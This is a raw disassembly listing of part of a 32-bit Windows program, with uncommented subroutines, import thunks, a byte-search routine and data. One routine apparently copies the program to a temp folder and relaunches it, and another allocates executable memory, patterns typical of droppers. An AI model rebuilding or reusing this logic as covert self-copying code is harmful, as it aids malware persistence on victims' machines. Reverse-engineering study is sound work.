arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40A110
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409E19
		push	0
		push	[ebp+var_4]
		call	sub_40A176
		mov	ebx, eax
		push	ebx
		call	sub_40A290
		or	eax, eax
		jz	short loc_409E19
		mov	edi, eax
		or	eax, eax
		jz	short loc_409E19
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edi
		push	0
		push	esp
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	sub_40A1E8
		push	[ebp+var_4]
		call	sub_40A0FE
		mov	ecx, [ebp+arg_8]
		mov	[ecx], ebx
		xor	eax, eax
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409E19:				; CODE XREF: sub_409DB0+26j
					; sub_409DB0+3Cj ...
		mov	eax, 0FFFFFFFFh
		leave
		retn	0Ch
sub_409DB0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0
		dd 68535657h, 258h, 41B10A68h, 0E8006A00h, 344h, 0BCB805C7h
		dd 41h,	3B680000h, 0E800414Ah, 372h, 0F60BF08Bh, 44685A74h
		dd 5600414Ah, 32BE8h, 74C00B00h, 0BCA8A34Bh, 53680041h
		dd 5600414Ah, 317E8h, 74C00B00h, 0BCACA337h, 60680041h
		dd 5600414Ah, 303E8h, 74C00B00h, 0BCB0A323h, 71680041h
		dd 5600414Ah, 2EFE8h, 74C00B00h, 0BCB4A30Fh, 5C70041h
		dd 41BCB8h, 1, 41AE9668h, 2EAE800h, 7E680000h, 0E80041AEh
		dd 2E0h, 0C35F5E5Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409ED0	proc near		; CODE XREF: sub_4099E5+9p

var_6A4		= byte ptr -6A4h
var_514		= byte ptr -514h
var_384		= byte ptr -384h
var_258		= byte ptr -258h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF95Ch
		push	edi
		push	esi
		push	ebx
		push	12Ch
		lea	eax, [ebp+var_384]
		push	eax
		push	0
		call	sub_40A188
		lea	edx, [ebp+var_384]
		dec	eax
		cmp	byte ptr [eax+edx-4], 5Ch
		jnz	loc_409FBC
		push	258h
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A19A
		lea	edx, [ebp+var_258]
		cmp	byte ptr [eax+edx-1], 5Ch
		jz	short loc_409F25
		mov	word ptr [eax+edx], 5Ch


loc_409F25:				; CODE XREF: sub_409ED0+4Dj
		push	(offset	loc_414501+1)
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A248
		push	0
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_384]
		push	eax
		call	sub_40A104
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_514]
		push	eax
		call	sub_40A25A
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_6A4]
		push	eax
		call	sub_40A25A
		push	offset loc_414714
		lea	eax, [ebp+var_514]
		push	eax
		call	sub_40A248
		push	offset loc_41470D
		lea	eax, [ebp+var_6A4]
		push	eax
		call	sub_40A248
		lea	eax, [ebp+var_514]
		push	eax
		call	sub_409FD0
		push	7D0h
		call	sub_40A212
		lea	eax, [ebp+var_6A4]
		push	eax
		call	sub_409FD0
		push	0
		call	sub_40A13A


loc_409FBC:				; CODE XREF: sub_409ED0+2Bj
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_409ED0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 8
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FD0	proc near		; CODE XREF: sub_409ED0+CAp
					; sub_409ED0+E0p

var_54		= dword	ptr -54h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFACh
		push	edi
		push	esi
		push	ebx
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	ecx, 44h
		rep stosb
		mov	[ebp+var_54], 44h
		xor	edx, edx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	[ebp+arg_0]
		push	edx
		call	sub_40A122
		mov	edi, eax
		push	[ebp+var_10]
		call	sub_40A0FE
		push	[ebp+var_C]
		call	sub_40A0FE
		mov	edi, eax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBF8h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-408h], 0
		mov	ebx, [ebp+18h]
		cmp	ebx, 1
		jg	short loc_40A048
		mov	eax, 0FFFFFFFEh
		jmp	loc_40A0EA
; ---------------------------------------------------------------------------


loc_40A048:				; CODE XREF: rdata:0040A03Cj
		mov	esi, [ebp+0Ch]
		add	esi, [ebp+10h]
		sub	esi, ebx
		mov	edx, esi
		mov	ecx, 100h
		mov	eax, ebx
		lea	edi, [ebp-404h]
		rep stosd
		mov	ecx, ebx
		dec	ecx
		mov	esi, [ebp+14h]
		lea	edi, [ebp-404h]
		xor	eax, eax


loc_40A06F:				; CODE XREF: rdata:0040A076j
		mov	al, [esi]
		inc	esi
		mov	[edi+eax*4], ecx
		dec	ecx
		jnz	short loc_40A06F
		mov	ecx, ebx
		dec	ecx
		mov	[ebp-4], ecx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+14h]
		add	esi, [ebp+8]
		jmp	short loc_40A09E
; ---------------------------------------------------------------------------


loc_40A089:				; CODE XREF: rdata:0040A0DCj
		add	eax, ecx
		sub	eax, [ebp-4]
		jns	short loc_40A095
		mov	eax, 1


loc_40A095:				; CODE XREF: rdata:0040A08Ej
					; rdata:0040A0B1j
		add	esi, eax
		mov	ecx, [ebp-4]


loc_40A09A:				; CODE XREF: rdata:0040A0B7j
					; rdata:0040A0E2j
		cmp	edx, esi
		jl	short loc_40A0E4


loc_40A09E:				; CODE XREF: rdata:0040A087j
					; rdata:0040A0D1j
		xor	eax, eax
		mov	al, [ecx+esi]
		cmp	al, [ecx+edi]
		jz	short loc_40A0B9
		mov	eax, [ebp+eax*4-404h]
		cmp	ebx, eax
		jnz	short loc_40A095
		lea	esi, [ecx+esi+1]
		jmp	short loc_40A09A
; ---------------------------------------------------------------------------


loc_40A0B9:				; CODE XREF: rdata:0040A0A6j
		dec	ecx
		xor	eax, eax


loc_40A0BC:				; CODE XREF: rdata:0040A0C5j
		mov	al, [ecx+esi]
		cmp	al, [ecx+edi]
		jnz	short loc_40A0D3
		dec	ecx
		jns	short loc_40A0BC
		inc	dword ptr [ebp-408h]
		mov	ecx, [ebp-4]
		inc	esi
		jmp	short loc_40A09E
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: rdata:0040A0C2j
		mov	eax, [ebp+eax*4-404h]
		cmp	ebx, eax
		jnz	short loc_40A089
		lea	esi, [ecx+esi+1]
		jmp	short loc_40A09A
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: rdata:0040A09Cj
		mov	eax, [ebp-408h]


loc_40A0EA:				; CODE XREF: rdata:0040A043j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A0F2	proc near		; CODE XREF: rdata:004035B2p
					; sub_403D90+85p ...
		jmp	ds:dword_41318C
sub_40A0F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A0F8	proc near		; CODE XREF: rdata:004043B5p
					; sub_404500+8Fp ...
		jmp	ds:dword_413188
sub_40A0F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A0FE	proc near		; CODE XREF: sub_403B90+AEp
					; sub_403D90+32p ...
		jmp	ds:dword_413108
sub_40A0FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A104	proc near		; CODE XREF: sub_409ED0+76p
		jmp	ds:dword_413104
sub_40A104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A10A	proc near		; CODE XREF: sub_4099E5+69p
		jmp	ds:dword_413134
sub_40A10A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A110	proc near		; CODE XREF: sub_403EB0+1Ep
					; sub_403F60+23p ...
		jmp	ds:dword_413130
sub_40A110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A116	proc near		; CODE XREF: sub_404250+33p
		jmp	ds:dword_41312C
sub_40A116	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A11C	proc near		; CODE XREF: sub_403D90+15p
					; sub_4099E5+30p ...
		jmp	ds:dword_413128
sub_40A11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A122	proc near		; CODE XREF: sub_403F10+2Ep
					; sub_409C10+79p ...
		jmp	ds:dword_413124
sub_40A122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A128	proc near		; CODE XREF: rdata:004044B1p
					; sub_404500+E2p ...
		jmp	ds:dword_413120
sub_40A128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A12E	proc near		; CODE XREF: rdata:00409D95p
		jmp	ds:dword_41311C
sub_40A12E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A134	proc near		; CODE XREF: rdata:00404641p
					; sub_408440+11p ...
		jmp	ds:dword_413118
sub_40A134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A13A	proc near		; CODE XREF: sub_4099E5+50p
					; sub_4099E5+114p ...
		jmp	ds:dword_413114
sub_40A13A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A140	proc near		; CODE XREF: rdata:004056BEp
		jmp	ds:dword_413110
sub_40A140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A146	proc near		; CODE XREF: sub_404500+116p
		jmp	ds:dword_41310C
sub_40A146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A14C	proc near		; CODE XREF: sub_404500+40p
		jmp	ds:dword_4130A8
sub_40A14C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A152	proc near		; CODE XREF: sub_404500+108p
		jmp	ds:dword_4130EC
sub_40A152	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A158	proc near		; CODE XREF: sub_404250+86p
		jmp	ds:dword_4130A0
sub_40A158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A15E	proc near		; CODE XREF: rdata:004034CCp
		jmp	ds:dword_4130AC
sub_40A15E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A164	proc near		; CODE XREF: sub_403B90+6Fp
		jmp	ds:dword_41305C
sub_40A164	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A16A	proc near		; CODE XREF: sub_411800+46p
		jmp	ds:dword_413050
sub_40A16A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A170	proc near		; CODE XREF: rdata:0040446Cp
		jmp	ds:dword_413054
sub_40A170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A176	proc near		; CODE XREF: sub_403F60+35p
					; sub_404250+52p ...
		jmp	ds:dword_413058
sub_40A176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A17C	proc near		; CODE XREF: rdata:0040366Fp
					; rdata:00403704p ...
		jmp	ds:dword_413060
sub_40A17C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A182	proc near		; CODE XREF: rdata:0040445Ep
		jmp	ds:dword_413064
sub_40A182	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A188	proc near		; CODE XREF: rdata:00403596p
					; rdata:00403A5Bp ...
		jmp	ds:dword_413068
sub_40A188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A18E	proc near		; CODE XREF: sub_403B20+17p
					; sub_403B90+Ep ...
		jmp	ds:dword_41306C
sub_40A18E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A194	proc near		; CODE XREF: sub_403B20+38p
					; sub_403B90+1Bp ...
		jmp	ds:dword_413070
sub_40A194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A19A	proc near		; CODE XREF: sub_403D90+5Ap
					; sub_4041A0+22p ...
		jmp	ds:dword_413074
sub_40A19A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1A0	proc near		; CODE XREF: rdata:0040531Ep
					; sub_4109E0+3p
		jmp	ds:dword_413078
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset dword_41307C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1AC	proc near		; CODE XREF: sub_41274B+17p
		jmp	ds:dword_413080
sub_40A1AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1B2	proc near		; CODE XREF: rdata:00405697p
					; sub_408440+3C4p ...
		jmp	ds:dword_413084
sub_40A1B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1B8	proc near		; CODE XREF: rdata:00405375p
					; rdata:0040549Cp ...
		jmp	ds:dword_413088
sub_40A1B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1BE	proc near		; CODE XREF: rdata:00409BB0p
					; sub_412230+Fp
		jmp	ds:dword_41308C
sub_40A1BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1C4	proc near		; CODE XREF: rdata:00404662p
					; sub_408440+39p ...
		jmp	ds:dword_413090
sub_40A1C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1CA	proc near		; CODE XREF: sub_403D20+58p
		jmp	ds:dword_413094
sub_40A1CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1D0	proc near		; CODE XREF: sub_4080A0+10p
					; sub_408140+10p ...
		jmp	ds:dword_413098
sub_40A1D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1D6	proc near		; CODE XREF: sub_409610+BAp
					; sub_411CE0+6p ...
		jmp	ds:dword_41309C
sub_40A1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1DC	proc near		; CODE XREF: sub_403FF0+32p
					; sub_404250+46p ...
		jmp	ds:dword_41313C
sub_40A1DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1E2	proc near		; CODE XREF: sub_403FF0+15p
					; sub_404CC5+19p ...
		jmp	ds:dword_413140
sub_40A1E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1E8	proc near		; CODE XREF: sub_403F60+67p
					; sub_405100+5Ep ...
		jmp	ds:dword_413138
sub_40A1E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1EE	proc near		; CODE XREF: rdata:004053B4p
					; sub_4099E5+167p ...
		jmp	ds:dword_4130A4
sub_40A1EE	endp

; ---------------------------------------------------------------------------
		dd 30B025FFh
		db 41h,	0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A1FA	proc near		; CODE XREF: rdata:loc_403952p
		jmp	ds:dword_4130B4
sub_40A1FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A200	proc near		; CODE XREF: rdata:00404670p
		jmp	ds:dword_4130B8
sub_40A200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A206	proc near		; CODE XREF: sub_403EB0+34p
					; sub_404940+34p ...
		jmp	ds:dword_4130BC
sub_40A206	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A20C	proc near		; CODE XREF: rdata:004044C4p
					; sub_404500+EFp
		jmp	ds:dword_4130C0
sub_40A20C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A212	proc near		; CODE XREF: rdata:00403772p
					; rdata:004037A3p ...
		jmp	ds:dword_4130C4
sub_40A212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A218	proc near		; CODE XREF: sub_4099E5+16Fp
					; sub_4099E5+18Ep
		jmp	ds:dword_4130C8
sub_40A218	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset dword_4130CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A224	proc near		; CODE XREF: sub_404250+8Ep
					; sub_404CC5+CEp
		jmp	ds:dword_4130D0
sub_40A224	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A22A	proc near		; CODE XREF: sub_403F60+49p
					; sub_403FF0+59p ...
		jmp	ds:dword_4130D4
sub_40A22A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A230	proc near		; CODE XREF: sub_403D90+FBp
					; sub_403FF0+12Cp ...
		jmp	ds:dword_4130D8
sub_40A230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A236	proc near		; CODE XREF: rdata:004044D1p
					; sub_404500+F9p ...
		jmp	ds:dword_4130DC
sub_40A236	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A23C	proc near		; CODE XREF: rdata:00403506p
					; sub_407B46+392p ...
		jmp	ds:dword_4130E0
sub_40A23C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A242	proc near		; CODE XREF: sub_403EB0+45p
					; sub_404940+45p ...
		jmp	ds:dword_4130E4
sub_40A242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A248	proc near		; CODE XREF: rdata:00403A70p
					; rdata:00404751p ...
		jmp	ds:dword_4130E8
sub_40A248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A24E	proc near		; CODE XREF: sub_404820+44p
					; sub_4082A0+23p
		jmp	ds:dword_413144
sub_40A24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A254	proc near		; CODE XREF: sub_403400+49p
					; rdata:0040354Bp ...
		jmp	ds:dword_4130F0
sub_40A254	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A25A	proc near		; CODE XREF: sub_403400+5Fp
					; rdata:00403514p ...
		jmp	ds:dword_4130F4
sub_40A25A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A260	proc near		; CODE XREF: sub_403400+3Ap
					; rdata:00404740p ...
		jmp	ds:dword_4130F8
sub_40A260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A266	proc near		; CODE XREF: sub_403400+11p
					; sub_403FF0+ECp ...
		jmp	ds:dword_4130FC
sub_40A266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A26C	proc near		; CODE XREF: sub_408140+42p
					; rdata:00411E0Cp ...
		jmp	ds:dword_413100
sub_40A26C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A272	proc near		; CODE XREF: rdata:004043D0p
		jmp	ds:dword_413000
sub_40A272	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A278	proc near		; CODE XREF: sub_404250+77p
		jmp	ds:dword_413048
sub_40A278	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A27E	proc near		; CODE XREF: sub_4041A0+41p
					; sub_404B00+19p ...
		jmp	ds:dword_413164
sub_40A27E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A284	proc near		; CODE XREF: sub_409C10+Ep
		jmp	ds:dword_413160
sub_40A284	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A28A	proc near		; CODE XREF: sub_409C10+36p
		jmp	ds:dword_41316C
sub_40A28A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A290	proc near		; CODE XREF: rdata:00404478p
					; sub_404500+Ep ...
		jmp	ds:dword_41315C
sub_40A290	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A296	proc near		; CODE XREF: sub_404500+11Cp
					; rdata:00404658p ...
		jmp	ds:dword_413158
sub_40A296	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A29C	proc near		; CODE XREF: rdata:004034D9p
		jmp	ds:dword_413174
sub_40A29C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2A2	proc near		; CODE XREF: sub_405260+18p
		jmp	ds:dword_41301C
sub_40A2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2A8	proc near		; CODE XREF: sub_405260+28p
		jmp	ds:dword_413018
sub_40A2A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2AE	proc near		; CODE XREF: sub_405260+32p
		jmp	ds:dword_413040
sub_40A2AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2B4	proc near		; CODE XREF: rdata:00403AB9p
					; rdata:00403B07p ...
		jmp	ds:dword_413010
sub_40A2B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2BA	proc near		; CODE XREF: rdata:00403A86p
					; sub_404870+30p
		jmp	ds:dword_413014
sub_40A2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2C0	proc near		; CODE XREF: rdata:00403AFAp
		jmp	ds:dword_413020
sub_40A2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2C6	proc near		; CODE XREF: rdata:0040434Cp
		jmp	ds:dword_413024
sub_40A2C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2CC	proc near		; CODE XREF: rdata:00403AE9p
					; rdata:00404383p ...
		jmp	ds:dword_413028
sub_40A2CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2D2	proc near		; CODE XREF: rdata:00404321p
		jmp	ds:dword_41302C
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2D8	proc near		; CODE XREF: rdata:004043A5p
		jmp	ds:dword_413030
sub_40A2D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2DE	proc near		; CODE XREF: rdata:00404411p
		jmp	ds:dword_413034
sub_40A2DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2E4	proc near		; CODE XREF: rdata:00403AA9p
					; sub_404870+52p ...
		jmp	ds:dword_413038
sub_40A2E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2EA	proc near		; CODE XREF: sub_403970+5Fp
		jmp	ds:dword_41303C
sub_40A2EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2F0	proc near		; CODE XREF: rdata:00404C3Dp
					; rdata:00405521p ...
		jmp	ds:dword_4131C4
sub_40A2F0	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset dword_4131C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A2FC	proc near		; CODE XREF: rdata:00404C80p
					; rdata:0040557Fp ...
		jmp	ds:dword_4131BC
sub_40A2FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A302	proc near		; CODE XREF: rdata:00404C33p
					; rdata:00405517p ...
		jmp	ds:dword_4131B8
sub_40A302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A308	proc near		; CODE XREF: rdata:00404BCEp
					; sub_408C10+12p ...
		jmp	ds:dword_4131B4
sub_40A308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A30E	proc near		; CODE XREF: sub_409610+96p
					; sub_4096E0+48p ...
		jmp	ds:dword_4131B0
sub_40A30E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A314	proc near		; CODE XREF: rdata:00404C21p
					; rdata:00405505p ...
		jmp	ds:dword_4131A8
sub_40A314	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A31A	proc near		; CODE XREF: sub_408C10+27p
					; rdata:0040A45Bp ...
		jmp	ds:dword_4131A0
sub_40A31A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A320	proc near		; CODE XREF: sub_407B46+19p
					; sub_408440+22p ...
		jmp	ds:dword_4131D0
sub_40A320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A326	proc near		; CODE XREF: rdata:00404C0Ep
					; rdata:004054CBp ...
		jmp	ds:dword_41319C
sub_40A326	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A32C	proc near		; CODE XREF: sub_4096E0+FFp
					; rdata:0040A62Ap ...
		jmp	ds:dword_413194
sub_40A32C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A332	proc near		; CODE XREF: rdata:00404C6Bp
					; rdata:00405556p ...
		jmp	ds:dword_413198
sub_40A332	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A338	proc near		; CODE XREF: sub_408C10+14Bp
					; sub_4096E0+99p ...
		jmp	ds:dword_4131A4
sub_40A338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A33E	proc near		; CODE XREF: rdata:004054EFp
					; rdata:004055E7p ...
		jmp	ds:dword_4131C8
sub_40A33E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A344	proc near		; CODE XREF: sub_408C10+199p
					; sub_4114E0+2ECp
		jmp	ds:dword_4131CC
sub_40A344	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A34A	proc near		; CODE XREF: rdata:00404BEAp
					; rdata:004054A7p ...
		jmp	ds:dword_4131AC
sub_40A34A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A350	proc near		; CODE XREF: sub_40AD10+45p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	edi
		push	esi
		push	ebx
		push	0
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_40A3A4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_40A25A
		mov	edx, 64h
		lea	ecx, [ebp+var_100]
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+51h]
		push	eax
		call	sub_40AF60
		mov	ecx, [ebp+arg_4]
		call	sub_40C140
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_40A350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3A4	proc near		; CODE XREF: sub_4049A0+21p
					; sub_4049A0+34p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		rep stosb
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_40A3A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A3BC	proc near		; CODE XREF: sub_40AD10+31p
		push	40h
		push	1000h
		push	2061h
		push	0
		call	sub_40A22A
		mov	word ptr [eax],	8000h
		mov	dword ptr [eax+4Dh], 10h
		retn
sub_40A3BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3DC	proc near		; CODE XREF: sub_40AD10+119p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_40A3DC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40A420
		mov	ecx, [ebp+8]
		call	sub_40C140
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A420	proc near		; CODE XREF: rdata:0040A40Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	edi, [eax+51h]
		mov	ecx, 10h
		mov	esi, [ebp+arg_4]
		rep movsb
		pop	ecx
		pop	esi
		pop	edi
		leave
		retn	8
sub_40A420	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_40A308
		or	eax, eax
		jz	short loc_40A458
